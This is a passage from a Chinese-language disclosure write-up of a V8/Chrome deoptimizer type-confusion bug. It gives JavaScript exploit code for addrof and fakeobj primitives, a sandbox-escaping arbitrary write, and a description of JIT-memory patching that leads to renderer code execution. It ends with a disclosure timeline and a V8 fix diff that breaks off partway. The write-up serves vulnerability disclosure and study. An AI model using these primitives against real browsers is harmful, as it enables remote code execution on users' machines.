leaf="">,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">foo</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">o</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> o.x;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> a = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> LeakI64();</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> b = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> LeakRef();</span><span leaf=""><br/></span><span leaf="">  exports_.g_ref.value = target;</span><span leaf=""><br/></span><span leaf="">  exports_.g_i64.value = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">43n</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  %PrepareFunctionForOptimization(foo);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">20</span></span><span leaf="">; ++i) {</span><span leaf=""><br/></span><span leaf="">    foo(a);</span><span leaf=""><br/></span><span leaf="">    foo(b);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  %OptimizeFunctionOnNextCall(foo);</span><span leaf=""><br/></span><span leaf="">  foo(a);</span><span leaf=""><br/></span><span leaf="">  arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> foo(b);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">最后的调用触发了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 访问器，但该值被重建为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf="">。这将以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 的形式暴露出 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">target</span></code><span leaf=""> 的完整标记指针（64位），从而为我们提供了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">addrof</span></code><span leaf=""> 原语。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">相反，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">fakeobj</span></code><span leaf=""> 是通过将我们的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 放在全局变量中，并使其被具体化为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 来获得的。</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">fakeobj</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">addr</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">MaterializeRef</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">MaterializeI64</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> exports_ = makeInstance(</span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">()</span></span><span leaf=""> =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (arm_deopt) {</span><span leaf=""><br/></span><span leaf="">      MaterializeI64.prototype.deopt_marker = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(MaterializeRef.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.rr,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">configurable</span></span><span leaf="">: </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(MaterializeI64.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.rl,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">configurable</span></span><span leaf="">: </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">foo</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">o</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> o.x;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> a = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> MaterializeRef();</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> b = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> MaterializeI64();</span><span leaf=""><br/></span><span leaf="">  exports_.g_ref.value = { </span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">marker</span></span><span leaf="">: </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">  exports_.g_i64.value = addr;</span><span leaf=""><br/></span><span leaf="">  %PrepareFunctionForOptimization(foo);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">20</span></span><span leaf="">; ++i) {</span><span leaf=""><br/></span><span leaf="">    foo(a);</span><span leaf=""><br/></span><span leaf="">    foo(b);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  %OptimizeFunctionOnNextCall(foo);</span><span leaf=""><br/></span><span leaf="">  foo(a);</span><span leaf=""><br/></span><span leaf="">  arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = foo(b);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> result;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">返回的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 被重建为标记的引用，从而允许将被攻击者控制的地址视为 JavaScript 对象。</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">在沙箱外写入</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">更重要的是，新具体化的引用仍然可以被正常解引用，即使其底层指针位于 V8 沙箱之外。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">去优化器将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 具体化为引用，而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 值完全由攻击者控制，这意味着它可以指向沙箱之外的内存。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">为了优化属性存储操作，V8 引擎支持内联属性，这些属性直接存储在对象本身上。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">由于此漏洞允许我们在整个 64 位地址范围内创建引用，那么如果我们能够伪造一个在沙箱外具有有效映射的对象指针，会发生什么？</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">confuseI64AsRefAndStore</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">ptr, value, real</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">ProtoForRef</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">ProtoForI64</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> exports_ = makeInstance(</span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">()</span></span><span leaf=""> =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (arm_deopt) ProtoForI64.prototype.deopt_marker = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(ProtoForRef.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.return_ref,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(ProtoForI64.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.return_i64,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">foo</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">o, v, do_store</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> r = o.x;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (do_store) r.p = v;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> r;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> obj_ref = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> ProtoForRef();</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> obj_i64 = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> ProtoForI64();</span><span leaf=""><br/></span><span leaf="">  exports_.g_ref.value = real;</span><span leaf=""><br/></span><span leaf="">  exports_.g_i64.value = ptr;</span><span leaf=""><br/></span><span leaf="">  %PrepareFunctionForOptimization(foo);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">30</span></span><span leaf="">; ++i) {</span><span leaf=""><br/></span><span leaf="">    foo(obj_ref, </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    foo(obj_i64, </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  %OptimizeFunctionOnNextCall(foo);</span><span leaf=""><br/></span><span leaf="">  foo(obj_ref, </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> foo(obj_i64, value, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在预热期间，属性存储操作只在实际对象上的存储上执行。这使得 TurboFan 能够将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">r.p = v</span></code><span leaf=""> 优化为正常的内联属性存储。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在最后一次调用中，使用了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 访问器。去优化器将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 具体化为标记的引用，然后针对该伪造的对象指针执行优化的属性存储。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">只要在选定的写入目标之前存在有效的映射和属性字段，对象就能通过所需的布局检查，并且内联属性存储就可以到达 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 所指向的地址。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">由于我们也控制对象映射指针，尽管属性数量有限，使得从映射 + 属性的四字偏移写入的距离不能任意大，但我们的属性存储写入仍然可以距离我们的四字足够远，从而完成许多有趣的操作。</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">写入 JIT 内存</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">一个方便的目标就是 JIT 内存。任意的四字（qword）可以作为字面量首先被放置在 JIT 区域（例如，返回一个双精度数组的 JIT 编译函数），从而允许在不事先拥有写入原语的情况下，布局分散的四字。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">然后，属性存储可以用来修补附近的任何指令。例如，一个标记的 SMI 写入就足以在一个已布局的四字之后放置一个短的相对跳转，并将执行重定向到隐藏的 Shellcode 中，从而在渲染器进程中实现 RCE。</span></p><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">附录</span></span></h2><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">时间线</span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2026-03-29：我们向 Google 报告了此漏洞。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2026-03-30：Google 确认收到报告并开始调查。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2026-03-31：Google 确定了根本原因并完成了修复。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2026-04-07：修复程序在 Chrome 147.0.7727.101 版本中发布。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2026-06-29：我们发布了这篇博客文章。</span></p></li></ul><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">缓解措施</span></h3><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc</span><span leaf=""><br/></span><span leaf="">index 7c15107243d..5312f07b5fe 100644</span><span leaf=""><br/></span><span style="color: #57A64A;font-style: italic;line-height: 26px;"><span leaf="">--- a/src/compiler/frame-states.cc</span></span><span leaf=""><br/></span><span style="color: #57A64A;font-style: italic;line-height: 26px;"><span leaf="">+++ b/src/compiler/frame-states.cc</span></span><span leaf=""><br/></span><span leaf="">@@ -37,11 +37,12 @@ std::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, OutputFrameStateCombine const&amp; sc) {</span><span leaf=""><br/></span><span leaf=""> bool operator==(FrameStateFunctionInfo const&amp; lhs,</span><span leaf=""><br/></span><span leaf="">                 FrameStateFunctionInfo const&amp; rhs) {</span><span leaf=""><br/></span><span leaf=""> <a class="wx_topic_link" topic-id="mr1cmw1p-5otbwb" style="color: #576B95 !important;" data-topic="1" data-recommend="">#if</a> V8_HOST_ARCH_X64</span><span leaf=""><br/></span><span style="background-color: #600;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">-// If this static_assert fails, then you&#39;ve probably added a new field to</span></span><span leaf=""><br/></span><span style="background-color: #600;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">-// FrameStateFunctionInfo. Make sure to take it into account in this equality</span></span><span leaf=""><br/></span><span style="background-color: #600;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">-// function, and update the static\_assert.</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+// If these static_asserts fail, then you&#39;ve probably added a new field to</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+// take it into account in this function, and update the static\_assert.</span></span><span leaf=""><br/></span><span leaf=""> <a class="wx_topic_link" topic-id="mr1cmw1q-jbdvd2" style="color: #576B95 !important;" data-topic="1" data-recommend="">#if</a> V8_ENABLE_WEBASSEMBLY</span><span leaf=""><br/></span><span leaf="">   static_assert(sizeof(FrameStateFunctionInfo) == 40);</span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);</span></span><span leaf=""><br/></span><span leaf=""> <a class="wx_topic_link" topic-id="mr1cmw1q-udel6i" style="color: #576B95 !important;" data-topic="1" data-recommend="">#else</a></span><span leaf=""><br/></span><span leaf="">   static_assert(sizeof(FrameStateFunctionInfo) == 32);</span><span leaf=""><br/></span><span leaf=""> <a class="wx_topic_link" topic-id="mr1cmw1q-vfln7e" style="color: #576B95 !important;" data-topic="1" data-recommend="">#endif</a></span><span leaf=""><br/></span><span leaf="">@@ -52,6 +53,18 @@ bool operator==(FrameStateFunctionInfo const&amp; lhs,</span><span leaf=""><br/></span><span leaf="">       lhs.wasm_function_index() != rhs.wasm_function_index()) {</span><span leaf=""><br/></span><span leaf="">     return false;</span><span leaf=""><br/></span><span leaf="">   }</span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  // JSToWasmFrameStateFunctionInfo has an additional signature\_ field.</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  // Two frame states with different wasm signatures must not compare equal,</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  // signature to materialize the continuation frame.</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &amp;&amp;</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+      rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+    if (static_cast&lt;const JSToWasmFrameStateFunctionInfo&amp;&gt;(lhs).signature() !=</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+        static_cast&lt;const JSToWasmFrameStateFunctionInfo&amp;&gt;(rhs).signature()) {</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span 